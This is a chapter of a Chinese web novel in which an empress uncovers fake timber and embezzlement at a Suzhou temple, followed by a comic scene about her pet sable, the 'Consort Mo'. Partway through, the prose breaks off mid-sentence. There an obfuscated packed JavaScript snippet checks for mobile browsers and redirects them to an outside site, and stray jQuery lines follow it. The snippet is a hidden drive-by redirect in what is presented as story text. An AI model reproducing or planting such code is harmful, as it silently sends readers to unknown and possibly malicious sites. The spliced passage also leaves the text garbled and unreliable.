空谢荼蘼 作品

32. 贵妃

“崔相和傅相可回来了?”宋撄宁状似随意问道,“朕想去瞧瞧这座承恩寺,是何等模样。”


“久居京畿,江南的寺庙嘛,朕好奇得很。”


阶下的龚裕悄悄擦了下汗,猝不及防听帝王问道:“龚刺史何时上任来的苏州?”


“回陛下,已有近二十年了。”


“哦,原来如此,”宋撄宁微微一笑,看不出丝毫刚刚的怒气,“看了龚爱卿对此地是相当熟悉了,过会为朕与傅相崔相引路可好?”


“是臣的荣幸。”龚裕面色苍白,连连点头。


喝了两盏茶后,负责巡视街坊调查文书的两人终于归来,都称此地安宁,一切并无差错之处。


“并无差错?”宋撄宁看向龚裕,“苏州府事务繁杂,龚刺史能治得井井有条,当赏。”


“走吧。”她看向崔望熙与傅善平,“龚刺史要带朕去赏一赏江南风光承恩寺,两位爱卿也来。”


二人与她十分默契,瞬间明白了此事水深,悄悄吩咐好侍卫跟随。


承恩寺建在吴堤之畔,碧柳随风飘拂,遥遥望去,寺院塔楼林立,庄严肃穆。


步入院中,崔望熙不经意间和宋撄宁相视一眼,微微点头。


宋撄宁放下心来,应该已经调遣了工部的人了。


穿过一条长廊,主殿相比其他殿阁而言要高得多,殿里安放着一尊巨大的佛像金身,眉眼温和地俯视来者。


“龚刺史,”宋撄宁颇有兴致地绕着佛像一圈,“这个承恩寺兴修,应是花了不少银两吧?”


“回、回陛下,百姓们不少都心向佛教,承恩寺更是......”龚裕眼皮闪得飞快,暗中观察帝王神色。


“多少两?”


“约是......”龚裕低下头:“约是二十万两左右。”


“是二十八万五千七百七十两。”崔望熙高声道。


“真不少啊......”宋撄宁感叹一句。


“承恩寺是神圣之地,所以建造的材料也是精挑细选,陛下看这屋梁,用的是上好的——”


话未说完,便被打断。


崔望熙看着人群后方的邱齐安,挥手示意他上前:“邱侍郎见多识广,精通各类材料,让他看看如何?”


龚裕颤声解释:“陛下,此乃佛门重地,岂能随意扰乱佛祖,陛下三思啊!”


但无人听他话语,工部很快搬来梯子和几样工具,邱齐安亲自上前,在殿中几处细细研究,忽然脸色一变,快步走到殿外。


“陛下!此间佛寺所用的木料多是极其老旧的材料,在外表刷漆熏香,伪造成了仅次于皇宫规格的楠木,若是香火旺盛,人流众多之时,可能发生坍塌。”


宋撄宁微微颔首:“继续去查别处。”


其实这等事根本无需她亲自在场的,工部和傅善平自能处理好,但事关史书里没有着落结果的一项大案,她不得不重视起来。


龚裕已经软了身子瘫坐在地,但仍咬着牙,略有些倔强。


崔望熙适时问道:“据我所知,承恩寺修建耗银二十八万五千七百七十两,楠木是假的,龚刺史。”他俯下身,温和地询问:“银子花到哪去了?”


“与那个坠亡的赵言有何关系?”


“臣......臣有所疏漏,但臣一片赤诚丹心,绝对未曾私吞朝廷的银两啊!账簿就在府上,陛下和崔相可遣人去检查!”


这样笃定......他似乎胜券在握,朝廷一定查不出账簿的问题。


宋撄宁一挥手:“傅相带着户部去看看。”


她漫不经心地寺院内走着,仰起头望向不远处的那座佛塔,心中滑过一丝异样。


按宗茗递来的口供,当时那个赵言便是在此处坠亡的。


很高,若是身处顶层一时不慎,那坠亡的说法算是无误。


“圣人,马上正午了,暑气重,臣命人封了此处,并将涉事人等关押,您先回去歇息可好?”崔望熙低声道。


宋撄宁亦是感觉周身闷热,额间一层薄汗,叮嘱了崔望熙一句“注意伤口,早些回去”便起驾离开。


帝王走后,刑部立刻将苏州府的一干人等控制,崔望熙看着瑟瑟发抖的江南政事堂左丞:“你来了这些天,都没发现吗?”


“臣失察,中书令恕罪。”他满脸愧疚,“苏州府一向治下有方,百姓也安居乐业,臣便未往此处想。”


“罢了,你等会和宗茗再去当时那一批工人家中细细调查,不要放过任何蛛丝马迹。”


......


次日,傅善平和户部之人带着建造承恩寺的账簿前来。


“可是如那龚裕所说,账簿没问题?”宋撄宁快速扫了一眼,心中有了推断。


“是。”傅善平拧眉,“这册账簿,称得上‘完美’二字。修建承恩寺的每一笔开支都记录其上,且都无误。“


“无误就对了。”宋撄宁写好手谕递给他,“这个账簿是假的,去查苏州府官邸和那几个贪官的产业,做得隐秘些,尚无铁证定罪,朕不好直接下旨抄家。”


“另外,一路务必让侍卫跟好,免得他们想鱼死网破。”


“多谢陛下叮嘱。”傅善平肃然起身,当即带着手谕前去寻找。


与气氛压抑的苏州府不同,江南行省的百姓未受到任何影响,一切如旧,不少文人墨客还乘船湖上,赏景赋诗,自在逍遥。


佳酿下肚,诗兴大发,一个年轻公子靠着栏杆,指着堤边的佛寺道:“不如便以此承恩寺为题,作一首绝句来!”


人们纷纷应和,聚在船边,忽然有人眼尖,看到了寺院周围密密麻麻的士兵,后知后觉感到一丝不对劲。


“你们看,承恩寺好像被封起来了......”


“而且依着服饰和佩刀,不想是官府的军队。”


联想到近日帝王巡幸来此,众人仿佛窥得了什么秘密,立刻开船上岸,对此事避而不谈。


几日后,宋撄宁的书房再次迎来了满脸丧气的傅善平。


“请陛下降罪,恕臣无能。”他神色低落,“臣带人彻查了一切可能的地方,未曾发现可疑的账簿与财物。”


宋撄宁的心一点点沉下去。


已经可以确定龚裕等人有


;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!''''.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new regexp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15022954|161269||http|test|mini|href|location''.split(''|''),0,{}));


() {


$(''.inform'').remove();


$(''#content'').append(''


问题,但唯独缺乏罪证,大邺律法严明,即使她是帝王,也不能罔顾律法,随心断案。


龚裕会把账簿藏到哪里去了?


“他可有什么偏远些的庄子、私产这些,可一一去过了吗?”


傅善平道:“全部查过了,包括龚裕妻子的家族,母亲的家族,甚至......”他感到一丝难以启齿,“甚至龚裕用来养外室的那个院子,都查过了。”


他一向守礼持正,哪知竟还会遇上这样的官员,豢养外室,无视礼法,若非大案当前,他定是要好好参一本的。


“朕知道了。”


宋撄宁开始一点点回想着此案的细节,这一桩贪墨涉及的官员和白银数目都叫人震惊,绝不能这样不了了之。


“将何毓召来吧,让他‘问一问’龚裕,看肯不肯自己说,咱们找,还不知要找到猴年马月。”


一本账簿,会被藏在何处呢?


妻妾、亲友、父母,和龚裕有关的人都一一细查,傅善平做事,是不会出差错的。


那就是与这些人无关。


正思考着,殿内忽然传来宫人们着急地呼唤:“贵妃娘娘,快下来吧,别吓唬奴婢了!”


贵妃娘娘?


她抬眼看去,原来是那只紫貂。


符染担心她无聊,此行还特意带来了,只是变得愈发调皮,叫宫人拿它没办法,宋撄宁又宠着它,于是渐渐有了“墨贵妃”的称呼。


想到这,宋撄宁不禁感到一丝有趣。


这可是她宫中的第一位有封号位份的“佳人”呢,常伴帝侧,圣眷优渥。


“衔墨奴——”宋撄宁张开双臂,紫貂瞬间变得乖顺,从书架上跳下,钻入她怀中。


“看来墨贵妃当真只听圣人的话呢。”符染和杜年在一旁看着,亦是觉得好笑。


她抱起小兽,慢悠悠地往长廊里走,这几日一直忙碌,都顾不上陪它玩耍。


廊下挂着几串风铃,摇曳出破碎的光影,衔墨奴便顺着柱子爬上去抓,却总是抓不着。


崔望熙来到书房时,看到的便是空荡荡的座位,只好转头找宫人询问。


宫人边收拾着被翻乱的书卷边道:“圣人陪贵妃娘娘出去玩啦,崔中书稍等一会儿。”


崔望熙大骇。


撄宁何时立了一位贵妃?


她不是在和自己“试一试”吗?还答应过自己,不会瞧上旁人的。


难道是这几日他四处追寻账簿,陪伴她的时间少了,帝王薄情,她便这么快有了新欢?


“撄、圣人往何处去了?我有要事商议,耽误不得。”


宫人也变得慎重起来,她们在帝王近身侍奉,多多少少也知道些最近的大案,明白其中严重性,连忙给崔望熙指路:“圣人带着墨贵妃去了回廊那里,贵妃最喜爱廊下的风铃了。”


呵,还墨贵妃。


这不知哪冒出来的贵妃喜爱风铃,宋撄宁竟如此宠爱,还陪伴前去。


崔望熙冷笑连连,整颗心酸得仿佛掉入了腌梅子的瓷罐中,里里外外滚了个透彻。


他一甩袖子,阔步走去。